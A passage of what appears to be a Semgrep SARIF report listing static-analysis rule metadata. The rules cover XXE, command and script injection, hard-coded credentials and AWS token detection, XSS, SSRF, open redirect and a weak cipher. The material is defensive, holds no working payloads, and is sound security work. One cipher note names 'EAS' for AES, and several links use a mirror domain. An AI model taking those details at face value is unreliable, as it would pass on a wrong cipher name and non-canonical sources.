using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.lang.security.xml-external-entities-unsafe-entity-loader.xml-external-entities-unsafe-entity-loader)\n - [https://websec.io/2012/08/27/Preventing-XXE-in-PHP.html](https://websec.io/2012/08/27/Preventing-XXE-in-PHP.html)\n - [https://www.php.net/libxml_disable_entity_loader](https://www.php.net/libxml_disable_entity_loader)\n - [https://www.php.net/manual/en/function.libxml-set-external-entity-loader.php](https://www.php.net/manual/en/function.libxml-set-external-entity-loader.php)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party."},"helpUri":"https://semgrep.dev/r/php.lang.security.xml-external-entities-unsafe-entity-loader.xml-external-entities-unsafe-entity-loader","id":"php.lang.security.xml-external-entities-unsafe-entity-loader.xml-external-entities-unsafe-entity-loader","name":"php.lang.security.xml-external-entities-unsafe-entity-loader.xml-external-entities-unsafe-entity-loader","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","HIGH CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: php.lang.security.xml-external-entities-unsafe-entity-loader.xml-external-entities-unsafe-entity-loader"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Auditing is not enabled for DocumentDB. To ensure that you are able to accurately audit the usage of your DocumentDB cluster, you should enable auditing and export logs to CloudWatch."},"help":{"markdown":"Auditing is not enabled for DocumentDB. To ensure that you are able to accurately audit the usage of your DocumentDB cluster, you should enable auditing and export logs to CloudWatch.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-documentdb-auditing-disabled.aws-documentdb-auditing-disabled)\n - [https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/docdb_cluster#enabled_cloudwatch_logs_exports](https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/docdb_cluster#enabled_cloudwatch_logs_exports)\n - [https://owasp.org/Top10/A09_2021-Security_Logging_and_Monitoring_Failures/](https://owasp.org/Top10/A09_2021-Security_Logging_and_Monitoring_Failures/)\n","text":"Auditing is not enabled for DocumentDB. To ensure that you are able to accurately audit the usage of your DocumentDB cluster, you should enable auditing and export logs to CloudWatch."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-documentdb-auditing-disabled.aws-documentdb-auditing-disabled","id":"terraform.aws.security.aws-documentdb-auditing-disabled.aws-documentdb-auditing-disabled","name":"terraform.aws.security.aws-documentdb-auditing-disabled.aws-documentdb-auditing-disabled","properties":{"precision":"very-high","tags":["CWE-778: Insufficient Logging","MEDIUM CONFIDENCE","OWASP-A09:2021 - Security Logging and Monitoring Failures","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-documentdb-auditing-disabled.aws-documentdb-auditing-disabled"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Using variable interpolation `${{...}}` with `github` context data in a `actions/github-script`'s `script:` step could allow an attacker to inject their own code into the runner. This would allow them to steal secrets and code. `github` context data can have arbitrary user input and should be treated as untrusted. Instead, use an intermediate environment variable with `env:` to store the data and use the environment variable in the `run:` script. Be sure to use double-quotes the environment variable, like this: \"$ENVVAR\"."},"help":{"markdown":"Using variable interpolation `${{...}}` with `github` context data in a `actions/github-script`'s `script:` step could allow an attacker to inject their own code into the runner. This would allow them to steal secrets and code. `github` context data can have arbitrary user input and should be treated as untrusted. Instead, use an intermediate environment variable with `env:` to store the data and use the environment variable in the `run:` script. Be sure to use double-quotes the environment variable, like this: \"$ENVVAR\".\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/yaml.github-actions.security.github-script-injection.github-script-injection)\n - [https://docs.github.com/en/actions/learn-github-actions/security-hardening-for-github-actions#understanding-the-risk-of-script-injections](https://docs.github.com/en/actions/learn-github-actions/security-hardening-for-github-actions#understanding-the-risk-of-script-injections)\n - [https://securitylab.github.com/research/github-actions-untrusted-input/](https://securitylab.github.com/research/github-actions-untrusted-input/)\n - [https://github.com/actions/github-script](https://github.com/actions/github-script)\n","text":"Using variable interpolation `${{...}}` with `github` context data in a `actions/github-script`'s `script:` step could allow an attacker to inject their own code into the runner. This would allow them to steal secrets and code. `github` context data can have arbitrary user input and should be treated as untrusted. Instead, use an intermediate environment variable with `env:` to store the data and use the environment variable in the `run:` script. Be sure to use double-quotes the environment variable, like this: \"$ENVVAR\"."},"helpUri":"https://semgrep.dev/r/yaml.github-actions.security.github-script-injection.github-script-injection","id":"yaml.github-actions.security.github-script-injection.github-script-injection","name":"yaml.github-actions.security.github-script-injection.github-script-injection","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: yaml.github-actions.security.github-script-injection.github-script-injection"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.mongo.java-mongo-hardcoded-secret.java-mongo-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/java.mongo.java-mongo-hardcoded-secret.java-mongo-hardcoded-secret","id":"java.mongo.java-mongo-hardcoded-secret.java-mongo-hardcoded-secret","name":"java.mongo.java-mongo-hardcoded-secret.java-mongo-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.mongo.java-mongo-hardcoded-secret.java-mongo-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Found a formatted template string passed to 'template.HTML()'. 'template.HTML()' does not escape contents. Be absolutely sure there is no user-controlled data in this template. If user data can reach this template, you may have a XSS vulnerability."},"help":{"markdown":"Found a formatted template string passed to 'template.HTML()'. 'template.HTML()' does not escape contents. Be absolutely sure there is no user-controlled data in this template. If user data can reach this template, you may have a XSS vulnerability.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.audit.net.formatted-template-string.formatted-template-string)\n - [https://golang.org/pkg/html/template/#HTML](https://golang.org/pkg/html/template/#HTML)\n","text":"Found a formatted template string passed to 'template.HTML()'. 'template.HTML()' does not escape contents. Be absolutely sure there is no user-controlled data in this template. If user data can reach this template, you may have a XSS vulnerability."},"helpUri":"https://semgrep.dev/r/go.lang.security.audit.net.formatted-template-string.formatted-template-string","id":"go.lang.security.audit.net.formatted-template-string.formatted-template-string","name":"go.lang.security.audit.net.formatted-template-string.formatted-template-string","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.audit.net.formatted-template-string.formatted-template-string"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands."},"help":{"markdown":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.os.tainted-os-command-stdlib-secure-if-array.tainted-os-command-stdlib-secure-if-array)\n - [https://docs.python.org/3/library/os.html](https://docs.python.org/3/library/os.html)\n - [https://docs.python.org/3/library/subprocess.html#subprocess.Popen](https://docs.python.org/3/library/subprocess.html#subprocess.Popen)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://semgrep.dev/docs/cheat-sheets/python-command-injection/](https://semgrep.dev/docs/cheat-sheets/python-command-injection/)\n - [https://stackless.readthedocs.io/en/v2.7.16-slp/library/commands.html](https://stackless.readthedocs.io/en/v2.7.16-slp/library/commands.html)\n","text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands."},"helpUri":"https://semgrep.dev/r/python.lang.os.tainted-os-command-stdlib-secure-if-array.tainted-os-command-stdlib-secure-if-array","id":"python.lang.os.tainted-os-command-stdlib-secure-if-array.tainted-os-command-stdlib-secure-if-array","name":"python.lang.os.tainted-os-command-stdlib-secure-if-array.tainted-os-command-stdlib-secure-if-array","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.os.tainted-os-command-stdlib-secure-if-array.tainted-os-command-stdlib-secure-if-array"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks through parameter entities by configuring $FACTORY with `$PARSER.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$PARSER.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` `$PARSER.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks through parameter entities by configuring $FACTORY with `$PARSER.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$PARSER.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` `$PARSER.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.xxe.xmlreader-xxe-parameter-entities.xmlreader-xxe-parameter-entities)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/semgrep/java-xxe-research](https://github.com/semgrep/java-xxe-research)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks through parameter entities by configuring $FACTORY with `$PARSER.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$PARSER.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` `$PARSER.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/java.lang.security.xxe.xmlreader-xxe-parameter-entities.xmlreader-xxe-parameter-entities","id":"java.lang.security.xxe.xmlreader-xxe-parameter-entities.xmlreader-xxe-parameter-entities","name":"java.lang.security.xxe.xmlreader-xxe-parameter-entities.xmlreader-xxe-parameter-entities","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.xxe.xmlreader-xxe-parameter-entities.xmlreader-xxe-parameter-entities"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"IDEA (International Data Encryption Algorithm) is a block cipher created in 1991.  It is an optional component of the OpenPGP standard. This cipher is susceptible to attacks when using weak keys.  It is recommended that you do not use this cipher for new applications. Use a strong symmetric cipher such as EAS instead. With the `cryptography` package it is recommended to use `Fernet` which is a secure implementation of AES in CBC mode with a 128-bit key.  Alternatively, keep using the `Cipher` class from the hazmat primitives but use the AES algorithm instead."},"help":{"markdown":"IDEA (International Data Encryption Algorithm) is a block cipher created in 1991.  It is an optional component of the OpenPGP standard. This cipher is susceptible to attacks when using weak keys.  It is recommended that you do not use this cipher for new applications. Use a strong symmetric cipher such as EAS instead. With the `cryptography` package it is recommended to use `Fernet` which is a secure implementation of AES in CBC mode with a 128-bit key.  Alternatively, keep using the `Cipher` class from the hazmat primitives but use the AES algorithm instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.cryptography.security.insecure-cipher-algorithms.insecure-cipher-algorithm-idea)\n - [https://tools.ietf.org/html/rfc5469](https://tools.ietf.org/html/rfc5469)\n - [https://cryptography.io/en/latest/hazmat/primitives/symmetric-encryption/#cryptography.hazmat.primitives.ciphers.algorithms.IDEA](https://cryptography.io/en/latest/hazmat/primitives/symmetric-encryption/#cryptography.hazmat.primitives.ciphers.algorithms.IDEA)\n","text":"IDEA (International Data Encryption Algorithm) is a block cipher created in 1991.  It is an optional component of the OpenPGP standard. This cipher is susceptible to attacks when using weak keys.  It is recommended that you do not use this cipher for new applications. Use a strong symmetric cipher such as EAS instead. With the `cryptography` package it is recommended to use `Fernet` which is a secure implementation of AES in CBC mode with a 128-bit key.  Alternatively, keep using the `Cipher` class from the hazmat primitives but use the AES algorithm instead."},"helpUri":"https://semgrep.dev/r/python.cryptography.security.insecure-cipher-algorithms.insecure-cipher-algorithm-idea","id":"python.cryptography.security.insecure-cipher-algorithms.insecure-cipher-algorithm-idea","name":"python.cryptography.security.insecure-cipher-algorithms.insecure-cipher-algorithm-idea","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.cryptography.security.insecure-cipher-algorithms.insecure-cipher-algorithm-idea"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Detected a cookie where the `HttpOnly` flag is either missing or disabled. The `HttpOnly` cookie flag instructs the browser to forbid client-side JavaScript to read the cookie. If JavaScript interaction is required, you can ignore this finding. However, set the `HttpOnly` flag to `true` in all other cases. If this wasn't intentional, it's recommended to set the HttpOnly flag to true so the cookie will not be accessible through client-side scripts. A secure default approach would consist of creating a custom response class, overriding the `set_cookie` method to set this flag to `True` by default, setting the `response_class` attribute of your Flask app to use the custom response class, setting the flag to False on a case-by-case basis only when necessary."},"help":{"markdown":"Detected a cookie where the `HttpOnly` flag is either missing or disabled. The `HttpOnly` cookie flag instructs the browser to forbid client-side JavaScript to read the cookie. If JavaScript interaction is required, you can ignore this finding. However, set the `HttpOnly` flag to `true` in all other cases. If this wasn't intentional, it's recommended to set the HttpOnly flag to true so the cookie will not be accessible through client-side scripts. A secure default approach would consist of creating a custom response class, overriding the `set_cookie` method to set this flag to `True` by default, setting the `response_class` attribute of your Flask app to use the custom response class, setting the flag to False on a case-by-case basis only when necessary.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.web.flask-cookie-httponly-missing.flask-cookie-httponly-missing)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n","text":"Detected a cookie where the `HttpOnly` flag is either missing or disabled. The `HttpOnly` cookie flag instructs the browser to forbid client-side JavaScript to read the cookie. If JavaScript interaction is required, you can ignore this finding. However, set the `HttpOnly` flag to `true` in all other cases. If this wasn't intentional, it's recommended to set the HttpOnly flag to true so the cookie will not be accessible through client-side scripts. A secure default approach would consist of creating a custom response class, overriding the `set_cookie` method to set this flag to `True` by default, setting the `response_class` attribute of your Flask app to use the custom response class, setting the flag to False on a case-by-case basis only when necessary."},"helpUri":"https://semgrep.dev/r/python.flask.web.flask-cookie-httponly-missing.flask-cookie-httponly-missing","id":"python.flask.web.flask-cookie-httponly-missing.flask-cookie-httponly-missing","name":"python.flask.web.flask-cookie-httponly-missing.flask-cookie-httponly-missing","properties":{"precision":"very-high","tags":["CWE-1004: Sensitive Cookie Without 'HttpOnly' Flag","HIGH CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.web.flask-cookie-httponly-missing.flask-cookie-httponly-missing"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"AWS Session Token detected"},"help":{"markdown":"AWS Session Token detected\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.secrets.security.detected-aws-session-token.detected-aws-session-token)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"AWS Session Token detected"},"helpUri":"https://semgrep.dev/r/generic.secrets.security.detected-aws-session-token.detected-aws-session-token","id":"generic.secrets.security.detected-aws-session-token.detected-aws-session-token","name":"generic.secrets.security.detected-aws-session-token.detected-aws-session-token","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","LOW CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: generic.secrets.security.detected-aws-session-token.detected-aws-session-token"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.secrets.mysql.mysql-empty-password.mysql-empty-password)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/go.secrets.mysql.mysql-empty-password.mysql-empty-password","id":"go.secrets.mysql.mysql-empty-password.mysql-empty-password","name":"go.secrets.mysql.mysql-empty-password.mysql-empty-password","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: go.secrets.mysql.mysql-empty-password.mysql-empty-password"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"This expression points to memory that has been freed. This can lead to a segmentation fault or memory corruption."},"help":{"markdown":"This expression points to memory that has been freed. This can lead to a segmentation fault or memory corruption.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.security.use-after-free.local-variable-new-delete.local-variable-new-delete)\n - [https://wiki.sei.cmu.edu/confluence/display/c/MEM30-C.+Do+not+access+freed+memory](https://wiki.sei.cmu.edu/confluence/display/c/MEM30-C.+Do+not+access+freed+memory)\n - [https://wiki.sei.cmu.edu/confluence/display/cplusplus/EXP54-CPP.+Do+not+access+an+object+outside+of+its+lifetime](https://wiki.sei.cmu.edu/confluence/display/cplusplus/EXP54-CPP.+Do+not+access+an+object+outside+of+its+lifetime)\n","text":"This expression points to memory that has been freed. This can lead to a segmentation fault or memory corruption."},"helpUri":"https://semgrep.dev/r/cpp.lang.security.use-after-free.local-variable-new-delete.local-variable-new-delete","id":"cpp.lang.security.use-after-free.local-variable-new-delete.local-variable-new-delete","name":"cpp.lang.security.use-after-free.local-variable-new-delete.local-variable-new-delete","properties":{"precision":"very-high","tags":["CWE-416: Use After Free","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.lang.security.use-after-free.local-variable-new-delete.local-variable-new-delete"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application builds a URL using user-controlled input which can lead to an open redirect vulnerability. An attacker can manipulate the URL and redirect users to an arbitrary domain. Open redirect vulnerabilities can lead to issues such as Cross-site scripting (XSS) or redirecting to a malicious domain for activities such as phishing to capture users' credentials. To prevent this vulnerability perform strict input validation of the domain against an allowlist of approved domains. Notify a user in your application that they are leaving the website. Display a domain where they are redirected to the user. A user can then either accept or deny the redirect to an untrusted site."},"help":{"markdown":"The application builds a URL using user-controlled input which can lead to an open redirect vulnerability. An attacker can manipulate the URL and redirect users to an arbitrary domain. Open redirect vulnerabilities can lead to issues such as Cross-site scripting (XSS) or redirecting to a malicious domain for activities such as phishing to capture users' credentials. To prevent this vulnerability perform strict input validation of the domain against an allowlist of approved domains. Notify a user in your application that they are leaving the website. Display a domain where they are redirected to the user. A user can then either accept or deny the redirect to an untrusted site.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.browser.open-redirect-pathname.open-redirect-pathname)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html)\n","text":"The application builds a URL using user-controlled input which can lead to an open redirect vulnerability. An attacker can manipulate the URL and redirect users to an arbitrary domain. Open redirect vulnerabilities can lead to issues such as Cross-site scripting (XSS) or redirecting to a malicious domain for activities such as phishing to capture users' credentials. To prevent this vulnerability perform strict input validation of the domain against an allowlist of approved domains. Notify a user in your application that they are leaving the website. Display a domain where they are redirected to the user. A user can then either accept or deny the redirect to an untrusted site."},"helpUri":"https://semgrep.dev/r/javascript.browser.open-redirect-pathname.open-redirect-pathname","id":"javascript.browser.open-redirect-pathname.open-redirect-pathname","name":"javascript.browser.open-redirect-pathname.open-redirect-pathname","properties":{"precision":"very-high","tags":["CWE-601: URL Redirection to Untrusted Site ('Open Redirect')","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.browser.open-redirect-pathname.open-redirect-pathname"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"`$POLICY` is missing a `condition` block which scopes users of this policy to specific GitHub repositories. Without this, `$POLICY` is open to all users on GitHub. Add a `condition` block on the variable `token.actions.githubusercontent.com:sub` which scopes it to prevent this."},"help":{"markdown":"`$POLICY` is missing a `condition` block which scopes users of this policy to specific GitHub repositories. Without this, `$POLICY` is open to all users on GitHub. Add a `condition` block on the variable `token.actions.githubusercontent.com:sub` which scopes it to prevent this.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.unrestricted-github-oidc-policy.unrestricted-github-oidc-policy)\n - [https://docs.github.com/en/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-amazon-web-services#configuring-the-role-and-trust-policy](https://docs.github.com/en/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-amazon-web-services#configuring-the-role-and-trust-policy)\n - [https://dagrz.com/writing/aws-security/hacking-github-aws-oidc/](https://dagrz.com/writing/aws-security/hacking-github-aws-oidc/)\n","text":"`$POLICY` is missing a `condition` block which scopes users of this policy to specific GitHub repositories. Without this, `$POLICY` is open to all users on GitHub. Add a `condition` block on the variable `token.actions.githubusercontent.com:sub` which scopes it to prevent this."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.unrestricted-github-oidc-policy.unrestricted-github-oidc-policy","id":"terraform.aws.security.unrestricted-github-oidc-policy.unrestricted-github-oidc-policy","name":"terraform.aws.security.unrestricted-github-oidc-policy.unrestricted-github-oidc-policy","properties":{"precision":"very-high","tags":["CWE-284: Improper Access Control","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.unrestricted-github-oidc-policy.unrestricted-github-oidc-policy"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A parameter being passed directly into `url` most likely lead to SSRF. This could allow an attacker to send data to their own server, potentially exposing sensitive data sent with this request. They could also probe internal servers or other resources that the server running this code can access. Do not allow arbitrary hosts. Instead, create an allowlist for approved hosts, or hardcode the correct host."},"help":{"markdown":"A parameter being passed directly into `url` most likely lead to SSRF. This could allow an attacker to send data to their own server, potentially exposing sensitive data sent with this request. They could also probe internal servers or other resources that the server running this code can access. Do not allow arbitrary hosts. Instead, create an allowlist for approved hosts, or hardcode the correct host.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/scala.lang.security.audit.dispatch-ssrf.dispatch-ssrf)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html)\n - 